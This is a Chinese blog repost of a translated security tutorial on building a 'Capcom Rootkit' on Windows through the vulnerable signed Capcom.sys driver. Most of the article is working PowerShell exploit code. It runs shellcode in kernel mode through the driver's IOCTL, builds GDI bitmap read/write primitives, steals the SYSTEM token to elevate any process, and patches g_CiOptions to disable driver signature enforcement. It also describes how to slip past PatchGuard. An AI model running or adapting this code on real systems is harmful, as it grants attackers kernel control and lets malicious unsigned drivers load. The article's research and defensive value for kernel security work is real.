Capcom Rootkit实现原理与分析(翻译)

2019-04-04 约 3338 字 预计阅读 7 分钟

声明:本文 【Capcom Rootkit实现原理与分析(翻译)】 由作者 rainfire 于 2017-03-10 13:25:00 首发 先知社区 曾经 浏览数 3556 次

感谢 rainfire 的辛苦付出!

最近看了一篇关于恶意软件Derusbi分析的文章,该文章的技术亮点就是利用已签名驱动的漏洞来加载未签名驱动。文中利用CVE-2013-3956漏洞来翻转驱动签名的效验位,这样恶意软件就可以随意加载其他驱动,然后Derusbi加载了NDIS驱动程序,这样就可以进行流量嗅探(我没有研究具体细节)。

然而出于好奇,我觉得实现相同功能的POC将会非常困难(事实证明并非如此)。为了完全实现上述漏洞利用技术,我决定利用@TheWack0lian于2016年9月23日公布的签名驱动程序Capcom.sys中的漏洞来实现这一技术。好了,不再罗嗦了,直接操刀实战。

驱动漏洞

本文目的并非进行驱动漏洞分析,强烈建议先去看看如下@TheColonial 针对Capcom.sys驱动的攻击分析视频,这样会对该驱动的漏洞机理有一个清晰的认识,能在大脑里形成一个漏洞攻击利用过程的画面,将有助于对本文的理解。


https://youtu.be/pJZjWXxUEl4

https://youtu.be/UGWqq5kTiso

基本上,就是把执行ring0 代码作为一个服务!它唯一的功能就是获取用户地址指针,然后禁用SMEP,然后在用户指针地址处执行代码,然后再恢复SMEP。该驱动漏洞利用过程的反汇编代码如下:


如下Power Shell POC实现了这个驱动漏洞的利用过程:

\# => cmp [rax-8], rcx

echo "`n[>] Allocating Capcom payload.."

[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)

$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode

[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))

echo "[+] Payload size: $(8 + $Shellcode.Length)"

echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"



$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)



if ($hDevice -eq -1) {

    echo "`n[!] Unable to get driver handle..`n"

    Return

} else {

    echo "`n[>] Driver information.."

    echo "[+] lpFileName: \\.\Htsysm72FB"

    echo "[+] Handle: $hDevice"

}



\# IOCTL = 0xAA013044

\#---

$InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)

$OutBuff = 0x1234

echo "`n[>] Sending buffer.."

echo "[+] Buffer length: $($InBuff.Length)"

echo "[+] IOCTL: 0xAA013044"

[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null

有了执行Shellcode的能力后,我选择构造一个原始GDI位图结构,它可以使我能够持续地读写内核,而不用重复地加载驱动。我通过 Stage-gSharedInfoBitmap 来创建位图,并以下列方式设置Shellcode:

\# Leak BitMap pointers

echo "`n[>] gSharedInfo bitmap leak.."

$Manager = Stage-gSharedInfoBitmap

$Worker = Stage-gSharedInfoBitmap

echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"

echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"



\# Shellcode buffer

[Byte[]] $Shellcode = @(

    0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0

    0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0)  + @( # mov rcx,$Manager.BitmappvScan0

    0x48,0x89,0x08,                                                   # mov qword ptr [rax],rcx

    0xC3                 # ret

)

想进一步了解该技术的实现细节,可以参考我之前以ID@mwrlabs发表的文章 A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition以及《我的WINDOWS 攻击之旅》系列的第17篇

Rootkit 功能

有了对内核的读写能力之后,我们就可以开始实现我们的Rootkit的功能了。对此,我决定专注于实现以下两个不同功能:

(1)将任意PID提升为SYSTEM;

(2)在运行时禁用驱动程序签名保护,将非签名代码加载到内核中。

任意进程权限提升

一般来说,我们需要遍历EPROCESS结构的链表,然后复制SYSTEM EPROCESS令牌字段,并使用此值覆盖掉目标EPROCESS结构的令牌字段。在没有其他更好的漏洞利用的情况下,我们只有通过用户空间来泄露 System (PID 4) EPROCESS 结构的指针:


需要注意的是,从WIN8.1之后需要具有普通权限,才可以通过“SystemModuleInformation”来泄漏当前加载的NT内核的基址。我们可以在PowerShell中使用Get-LoadedModules轻松实现此过程,并在KD中验证我们的结果。


非常棒,现在我们找到了一个方法来获得System EPROCESS 结构指针,同时我们可以通过构造的位图结构来读取SYSTEM token 。最后需要做的就是根据 "ActiveProcessLinks" 链来找到我们需要提升权限的进程的 EPROCESS结构。在x64 Win10平台,此链表结构如下:


该链表是一个双向循环链表,那么我们可以通过读取EPROCESS 结构,然后判断PID是否为目标进程,如果是则覆盖该进程Token,否则继续遍历直到获得目标进程的EPROCESS 结构。

EPROCESS 结构是非公开的,并且在不同的WIN操作系统上也不相同,但是我们可以通过维护一个静态的偏移列表来解决这个问题。在此强烈建议看一下由@rwfpl维护的一个工程 Terminus Project。下面的powershell函数实现了这个令牌窃取逻辑。

function Capcom-ElevatePID {

    param ([Int]$ProcPID)



    # Check our bitmaps have been staged into memory

    if (!$ManagerBitmap -Or !$WorkerBitmap) {

        Capcom-StageGDI

        if ($DriverNotLoaded -eq $true) {

            Return

        }

    }



    # Defaults to elevating Powershell

    if (!$ProcPID) {

        $ProcPID = $PID

    }



    # Make sure the pid exists!

    # 0 is also invalid but will default to $PID

    $IsValidProc = ((Get-Process).Id).Contains($ProcPID)

    if (!$IsValidProc) {

        Write-Output "`n[!] Invalid process specified!`n"

        Return

    }



    # _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS

    # WARNING offsets are invalid for Pre-RTM images!

    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version

    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"

    switch ($OSMajorMinor)

    {

        '10.0' # Win10 / 2k16

        {

            $UniqueProcessIdOffset = 0x2e8

            $TokenOffset = 0x358          

            $ActiveProcessLinks = 0x2f0

        }



        '6.3' # Win8.1 / 2k12R2

        {

            $UniqueProcessIdOffset = 0x2e0

            $TokenOffset = 0x348          

            $ActiveProcessLinks = 0x2e8

        }



        '6.2' # Win8 / 2k12

        {

            $UniqueProcessIdOffset = 0x2e0

            $TokenOffset = 0x348          

            $ActiveProcessLinks = 0x2e8

        }



        '6.1' # Win7 / 2k8R2

        {

            $UniqueProcessIdOffset = 0x180

            $TokenOffset = 0x208          

            $ActiveProcessLinks = 0x188

        }

    }



    # Get EPROCESS entry for System process

    $SystemModuleArray = Get-LoadedModules

    $KernelBase = $SystemModuleArray[0].ImageBase

    $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]

    $KernelHanle = [Capcom]::LoadLibrary("$KernelType")

    $PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")

    $SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase

    $CallResult = [Capcom]::FreeLibrary($KernelHanle)

    $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr

    $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)

    Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"



    # Get EPROCESS entry for PID

    $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size

    while($true) {

        $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)

        if ($NextPID -eq $ProcPID) {

            $TargetTokenAddr = $NextProcess+$TokenOffset

            Write-Output "[+] Found PID: $NextPID"

            Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"

            break

        }

        $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size

    }



    # Duplicate token!

    Write-Output "[!] Duplicating SYSTEM token!`n"

    Bitmap-Write -Address $TargetTokenAddr -Value $SysToken

}

驱动签名绕过

作为本文的参考文章,建议去读一下由 @j00ru写的关于驱动强制签名的文章。文章指出WINDOWS平台下的代码效验,是通过一个二进制文件ci.dll (=> %WINDIR%\System32)来管理的。在Windows 8之前,CI导出一个全局布尔变量g_CiEnabled,它很明显的指明签名是启用还是禁用。在Windows 8+中,g_CiEnabled被另一个全局变量g_CiOptions替换,g_CiOptions是标志的组合( 0x0=disabled, 0x6=enabled, 0x8=Test Mode)。

时间原因,该模块仅通过g_CiOptions来修改代码效验标志,因此只适用Windows 8+。不过类似的方法也适用g_CiEnabled(可以在gihub自行搜索)。基本上,我们将使用和恶意软件Derusbi 一样的技术来绕过签名保护。因为g_CiOptions这个变量并没有被导出,因此我们在pach的时候需要进行一些动态计算。通过反编译 CI!CiInitialize,我们发现它泄露了,一个指向g_CiOptions的指针。


类似地,我们可以不借助任何漏洞,通过用户空间来泄露 CI!CiInitialize的地址。


至此,剩下的就是实现一些指令搜索逻辑,来读取g_CiOptions的值了。首先我们找到第一个jmp(0xe9)指令,然后再找到第一个"mov dword prt[xxxxx], ecx" (0x890D)指令,就可以得到g_CiOptions的地址。这样我们就可以把g_CiOptions的值改成任何我们想要的值了。实现这一搜索逻辑的powershell 函数如下:

function Capcom-DriverSigning {

    param ([Int]$SetValue)



    # Check our bitmaps have been staged into memory

    if (!$ManagerBitmap -Or !$WorkerBitmap) {

        Capcom-StageGDI

        if ($DriverNotLoaded -eq $true) {

            Return

        }

    }



    # Leak CI base => $SystemModuleCI.ImageBase

    $SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}



    # We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx

    $CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)

    $CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")



    # Calculate => CI!CiInitialize

    $CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase

    Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"



    # Free CI handle

    $CallResult = [Capcom]::FreeLibrary($CIHanle)



    # Calculate => CipInitialize

    # jmp CI!CipInitialize

    for ($i=0;$i -lt 500;$i++) {

        $val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }

        # Look for the first jmp instruction

        if ($val[-1] -eq "E9") {

            $Distance = [Int]"0x$(($val[-3,-2]) -join '')"

            $CipInitialize = $Distance + 5 + $CiInitializePtr + $i

            Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"

            break

        }

    }



    # Calculate => g_CiOptions

    # mov dword ptr [CI!g_CiOptions],ecx

    for ($i=0;$i -lt 500;$i++) {

        $val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }

        # Look for the first jmp instruction

        if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {

            $Distance = [Int]"0x$(($val[-6..-3]) -join '')"

            $g_CiOptions = $Distance + 6 + $CipInitialize + $i

            Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"

            break

        }

    }

     # print g_CiOptions

    Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"



    if ($SetValue) {

        Bitmap-Write -Address $g_CiOptions -Value $SetValue

        # print new g_CiOptions

        Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"

    }

}

下面的屏幕截图显示当前g_CiOptions valus是0x6(启用),我们加载“evil.sys”时被阻止。


覆盖该值后,未签名驱动被顺利加载:


稍微有趣的是 g_CiOptions 受 PatchGuard保护,一旦它发现 g_CiOptions 被更改,就会蓝屏 (=> CRITICAL_STRUCTURE_CORRUPTION) 。然而实际上并不会蓝屏,修改了 g_CiOptions 后PatchGuard并不会马上检测到,如果加载了未签名驱动后,再马上恢复 g_CiOptions, PatchGuard就无能为力了。我的深度防御建议是在加载驱动时触发PatchGuard 对CI的检查,不过这并不能完全阻止攻击者对加载非法驱动的探索,只是它会提高这一利用过程的难度等级。

总结

我相信本文的案例足以证明第三方签名驱动会对WINDOWS 内核构成严重威胁。同时我发现,进行简单的内核破坏比预期更加容易,特别是与PatchGuard延时配合的时候。总之,我觉得最明智的做法是针对驱动白名单部署设备保护,从而从根本上消除这种类型的攻击。

出于学习和测试的目的,我把 Capcom-Rootkit 放到了github上,Don't be a jackass!

参考资料:

+ Capcom-Rootkit (@FuzzySec) - here
+ Windows driver signing bypass by Derusbi - here
+ A quick insight into the Driver Signature Enforcement (@j00ru) - here
+ Defeating x64 Driver Signature Enforcement (@hFireF0X) - here

原文链接:http://www.fuzzysecurity.com/tutorials/28.html

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now